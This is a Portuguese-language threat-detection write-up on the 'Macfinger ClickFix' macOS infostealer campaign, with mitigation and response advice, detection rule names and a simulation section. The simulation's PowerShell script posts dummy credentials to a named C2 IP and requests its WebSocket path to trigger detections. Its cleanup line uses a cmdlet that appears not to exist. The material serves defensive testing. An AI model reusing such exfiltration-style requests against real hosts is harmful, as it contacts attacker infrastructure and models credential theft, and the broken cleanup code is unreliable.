Campanha Macfinger ClickFix: Analisando o Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A campanha Macfinger ClickFix entrega um ladrão de informações não identificado para macOS por meio de páginas de verificação CAPTCHA falsas. O ataque utiliza scripts shell para recuperar binários Mach-O específicos para arquitetura, seja para sistemas Intel ou Apple Silicon. Uma vez lançado, o malware solicita permissões amplas do sistema e exfiltra informações sensíveis por meio de solicitações HTTP POST e comunicação baseada em WebSocket.
Investigação
A investigação focou em uma infecção observada em um host macOS 27.0. Analistas rastrearam o carregador inicial do script shell, a subsequente recuperação de binários Mach-O e os padrões de comunicação de comando e controle do malware. A pesquisa também diferenciou a ameaça do AMOS Stealer documentado anteriormente com base em diferenças na persistência, coleta de dados e comportamento de exfiltração.
Mitigação
Os usuários devem evitar interagir com prompts CAPTCHA suspeitos baseados em navegador ou executar comandos inesperados do terminal fornecidos por sites da web. As organizações devem monitorar alterações não autorizadas em LaunchAgents e downloads suspeitos escritos no /Library/Caches diretório. Limitar privilégios administrativos também pode reduzir a capacidade do malware de obter as permissões de sistema necessárias para execução.
Resposta
Quando atividade relacionada ao Macfinger é detectada, isole o endpoint macOS afetado da rede para evitar mais exfiltrações de dados. Realize análises forenses dos /Library/LaunchAgents/ and /Library/Caches/ diretórios para identificar artefatos de persistência. Revise os logs do sistema em busca de solicitações de permissão não autorizadas e acesso a locais sensíveis como Documentos, Área de Trabalho e Downloads.
Fluxo de Ataque
Detecções
Comando e Controle Suspeito por Solicitação DNS de Domínio de Nível Superior (TLD) Incomum (via dns)
Manipulação Possível de Strings Codificadas em Base64 [MacOS] (via cmdline)
Tentativa Suspeita de Execução Curl [MacOS] (via cmdline)
IOCs (HashSha256) para detectar: Um Olhar Mais Próximo no Malware da Campanha Macfinger ClickFix
IOCs (SourceIP) para detectar: Um Olhar Mais Próximo no Malware da Campanha Macfinger ClickFix
IOCs (DestinationIP) para detectar: Um Olhar Mais Próximo no Malware da Campanha Macfinger ClickFix
Detectar Tráfego C2 e Exfiltração de Dados do Macfinger ClickFix [Tráfego HTTP]
Detecção de Infecção da Campanha Macfinger ClickFix [Criação de Processo macOS]
Execução de Simulação
-
Narrativa do Ataque & Comandos: O adversário obteve acesso inicial com sucesso e está tentando exfiltrar credenciais colhidas. Para evitar a detecção por filtros web padrão, eles usam um agente personalizado baseado em Go. O agente é programado para enviar uma solicitação POST contendo credenciais do usuário para o endpoint C2
/api/credentials. Em seguida, estabelece uma conexão WebSocket para/api/tpara receber mais instruções. A simulação usará PowerShell para falsificar essas características específicas de HTTP (IP, User-Agent e URI) para acionar a regra de detecção. -
Script de Teste de Regressão:
# Simulação de Tráfego C2 do Macfinger $C2_IP = "95.163.153.80" $UserAgent = "Go-http-client/1.1" Write-Host "[+] Iniciando Simulação Macfinger..." -ForegroundColor Cyan # 1. Simular Exfiltração de Dados via POST HTTP Write-Host "[+] Tentando Exfiltração de Dados (POST /api/credentials)..." -ForegroundColor Yellow try { $exfilParams = @{ Uri = "http://$($C2_IP)/api/credentials" Method = "POST" UserAgent = $UserAgent Body = "user=admin&pass=P@ssword123" ContentType = "application/x-www-form-urlencoded" } Invoke-RestMethod @exfilParams } catch { Write-Host "[-] Solicitação falhou (Esperado se IP não for alcançável): $($_.Exception.Message)" -ForegroundColor Gray } # 2. Simular Comando & Controle via WebSocket (Simulado via GET HTTP para o URI específico) # Nota: Verdadeiros handshakes de WebSocket requerem bibliotecas específicas, mas para telemetria de rede, # a solicitação GET inicial para o URI é o gatilho principal. Write-Host "[+] Tentando Handshake WebSocket (GET /api/t)..." -ForegroundColor Yellow try { $wsParams = @{ Uri = "http://$($C2_IP)/api/t" Method = "GET" UserAgent = $UserAgent } Invoke-RestMethod @wsParams } catch { Write-Host "[-] Solicitação falhou (Esperado se IP não for alcançável): $($_.Exception.Message)" -ForegroundColor Gray } Write-Host "[+] Simulação Completa." -ForegroundColor Cyan -
Comandos de Limpeza:
# Nenhum artefato persistente é criado por este script de simulação. # Certifique-se de que não haja conexões ativas para o IP de destino. Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false